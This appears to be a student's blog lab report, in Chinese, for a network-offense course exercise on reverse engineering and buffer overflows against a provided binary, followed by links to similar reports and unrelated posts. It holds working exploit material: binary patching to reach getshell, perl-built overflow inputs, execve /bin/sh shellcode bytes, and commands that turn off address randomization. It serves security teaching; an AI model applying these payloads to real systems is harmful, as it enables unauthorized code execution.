2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践
逆向及Bof基础实践
实践基础知识
管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息。
cut:选取指定列。
- 按指定字符分隔:只显示第n
 列的数据
cut -d '分隔符' -f n
- 选择特定范围内的数据
cut -c 起始字符的下标-结束字符的下标
grep:关键词搜索指定行。
- grep [-参数] ‘关键词’ 文件
从指定文件中将符合关键词的行搜索出来(没用到管道)
- 命令 | grep [-参数] ‘关键词’
前一个命令的执行结果输出给grep,并通过grep的关键词搜索将符合条件的行搜索出来。
sort:排序
- sort [-参数] 文件
将文件中的数据按照指定字段排序
- 命令 | sort [-参数]
使用管道,将前一个命令执行的结果按照指定字段进行排序。
wc:统计字数、行数、字符数
- 命令 | wc [-参数]
输入输出重定向:
command > file //将输出重定向到 file。
command < file //将输入重定向到 file。
command >> file //将输出以追加的方式重定向到 file。
n > file //将文件描述符为 n 的文件重定向到 file。
n >> file //将文件描述符为 n 的文件以追加的方式重定向到 file。
EIP: 用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加。
实践内容
直接修改程序机器指令,改变程序执行流程
- 先对pwn1进行复制备份—— - cp pwn1 pwn5229
- 执行命令 - objdump -d pwn5229 | more对pwn5229文件进行反汇编。
- 从上图得知,main函数中地址为80484b5的 - call 8048491指令调用处于地址8048491处的foo函数,该汇编指令的机器指令为- e8 d7 ff ff ff,e8为“跳转”
- foo函数和getshell的地址偏移量=8048491-804847d=14。 
- 想让main函数调用getshell,须将 - d7 ff ff ff改为- c3 ff ff ff(d7-14=c3)
- 用vi打开文件,输入 - %!xxd将文件改为十六进制文件。
- 输入 - /e8d7找到要修改的内容 ,对其进行修改,再用- %!xxd -r将文件转换为原来的二进制,保存退出。
  
- 对文件反汇编,查看call指令是否掉用的是getshell 
- 运行文件,得到shell提示符。 

通过构造输入参数,造成BOF攻击,改变程序执行流
- pwn2这个文件正常运行下调用foo函数,这个函数有Buffer overflow漏洞。在于,输入的字符超出系统所先预留的缓冲区后,超出的部分会溢出。 
- 使用 - gdb对文件进行调试
- 输入 - 1111111122222222333333334444444455555555后,会发现eip中的值为5,将字符串修改为- 1111111122222222333333334444444412345678后,- 1234这4个字节溢出到返回地址
- 将这4个字节替换为 getShell 的内存地址,输给pwn2文件,该文件就能运行getshell 
- getshell的内存地址之前已得出 
  
- 确定将 - 12345678改为- \x7d\x84\x04\x08
- 输入命令 - perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 用16进制查看指令 - xxd查看input文件内容
  
- 使用管道符 - |,作为pwn2的输入。
- (cat input; cat) | ./pwn2
  
- 反观老师给出的两个空 
这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:__________
通过计算,第一个空为28,第二个空为80484ba
注入Shellcode并执行
shellcode: 实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。一般是作为数据发送给受攻击服务器的,是溢出程序和蠕虫病毒的核心。
- 修改一下设置
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

- Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
但我们选择retaddr+nop+shellcode结构进行攻击buf,nop一是为了填充,二是作为“着陆区”。
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(\x4\x3\x2\x1是将覆盖到堆栈上的返回地址的位置)
打开终端注入这段攻击:

- 打开另一个终端,用gdb进行调试
首先是找到pwn1的进程号:

然后调试这个进程

通过设置断点,来查看注入buf的内存地址


使用x/16x 0xffffd3bc,看到了0x01020304,根据之前选择的retaddr+nop+shellcode,地址为0xffffd3c0
将之前的\x4\x3\x2\x1更改,注入,查看,执行程序pwn1,攻击成功。


实验中遇到的问题及解决
1.在安装execsack时和运行pwn1时,无法安装。
- 按照老师给的64位Kali无法顺利执行pwn1问题的解决方案链接进行安装,在使用 - apt-get updata时一直出现以下问题
  
- 然后直接输入 - apt-get upgrade进行安装,执行- apt-get install lib32ncurses5时,出现以下问题,重启虚拟机后,无法- apt-get clean,被锁住了

- 将/var/cache/apt/archives/lock删除后,成功运行,并且能够装execstack
实验总结及感想
- 上学期娄老师的作业中有一项也是在实验楼上做缓冲溢出攻击,但当时我选择在虚拟机上做,结果把ubuntu做崩了,为了修复虚拟机,我并没有认真的将整个实验弄懂。通过做这次实践,返回去将自己的博客看了一遍,发现两个实验原理大致都相同,同时也收获了很多 
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,所以攻击者能够在未授权的情况下通过漏洞进行访问或破坏系统。如果系统存在漏洞,攻击者就会通过网络植入木马、病毒等攻击整台电脑,窃取信息等;如果网站存在漏洞,网站可能被攻击者恶意操作、篡改,还可能将用户信息泄漏等。 
- NOP, JNE, JE, JMP, CMP汇编指令的机器码 
- NOP:即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。NOP指令会占用执行一个指令的CPU时间片。(机器码:90) 
- JNE:条件转移指令,如果不相等则跳转。(机器码:75) 
- JE:条件转移指令,如果相等则跳转。(机器码:74) 
- JNP:无条件的转移到指令指定的地址去执行从该地址开始的命令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA) 
- CMP:比较指令,cmp 命令比较 File1 和 File2 参数指定的文件,并将结果写到标准输出。 
2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践的更多相关文章
- 20145302张薇 《网络对抗技术》逆向及BOF基础实践
		20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ... 
- 20145328 《网络对抗技术》逆向及Bof基础实践
		20145328 <网络对抗技术>逆向及Bof基础实践 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ... 
- 20145210姚思羽《网络对抗技术》逆向及Bof基础实践
		20145210姚思羽<网络对抗技术>逆向及Bof基础实践 实践目标 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo ... 
- 20145321《网络对抗技术》逆向与Bof基础
		20145321<网络对抗技术>逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ... 
- 20145337《网络对抗技术》逆向及BOF基础
		20145337<网络对抗技术>逆向及BOF基础 实践目标 操作可执行文件pwn1,通过学习两种方法,使main函数直接执行getshall,越过foo函数. 实践内容 手工修改可执行文件 ... 
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
		20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ... 
- 网络对抗实验一 逆向及Bof基础实践
		网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ... 
- 20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础
		目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定 ... 
- 20145236《网络对抗》Exp1 逆向及Bof基础
		20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ... 
- 20145329 《网络对抗技术》 逆向及Bof基础实验
		1.实验内容 本次实践的对象是一个名为20145329的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串.该程序同时包含另一个代码片段,ge ... 
随机推荐
- 学习笔记(2)——实验室集群LVS配置
			查看管理结点mgt的网卡信息,为mgt设置VIP [root@mgt ~]# ifconfig eth0 Link encap:Ethernet HWaddr 5C:F3:FC:E9:: inet a ... 
- JSP内置对象——out对象/request对象
			在这个科技高速发展的时代,迫使我们的脚步一刻都不能停下. 在这个for循环语句当中,我们可以直接使用jsp内置对象中的out对象来给浏览器打印输出,那么这个out对象就是一个内置对象, 在这里,我们使 ... 
- pages bookmarks for machine learning domain
			http://www.ai-start.com/dl2017/html/lesson4-week2.html 达叔深度学习笔记 http://cs231n.github.io/convolution ... 
- 通过HTTP参数污染绕过WAF拦截 (转)
			上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ... 
- systemd-analyze – 在Linux中查找系统启动性能统计信息
			您是否在使用 systemd 系统和服务管理器,并且您的 Linux 系统需要较长时间才能启动,或者您希望查看系统启动性能的报告? 如果是的话,你已经登陆了正确的地方. 在本文中,我们将向您展示如何使 ... 
- /etc/resolv.conf服务器客户端DNS重要配置文件
			DNS客户端配置文件:etc/resolv.conf /etc/resolv.conf文件相当于windows如下图: 当然/etc/resolv.conf文件为辅助配置DNS文件,其实在网卡里也可以 ... 
- Jar版本:java.lang.UnsupportedClassVersionError: ******
			错误原因编译Java和运行Java所使用的Java的版本不一致导致:解决办法修改运行环境的Java版本或者修改编译环境的Java版本,让两者保持一致即可: java.lang.UnsupportedC ... 
- Spring Boot 集成 thymeleaf 模版引擎
			Spring Boot 建议使用 HTML 来完成动态页面.Spring Boot 提供了大量的模版引擎,包括 Thymeleaf.FreeMarker.Velocity等. Spring Boot ... 
- Alpha冲刺报告(5/12)(麻瓜制造者)
			今日已完成 明日计划 部分api示意图 燃尽图 scrum会议照片 今日已完成 邓弘立: 完成部分首页逻辑功能 符天愉: 写代码写着写着想起来昨天的登录接口有个非常zz的逻辑错误,今天修改完后应该没有 ... 
- 树莓派3B+ wifi 5G连接
			新烧的Raspbian 系统,一开始需要设置wifi的一些配置,其中会选择一个国家(set country),一开始选择的是CN(中国),发现只能连接2.4G的网络,5G的网络连接不上,这很奇怪, 因 ... 
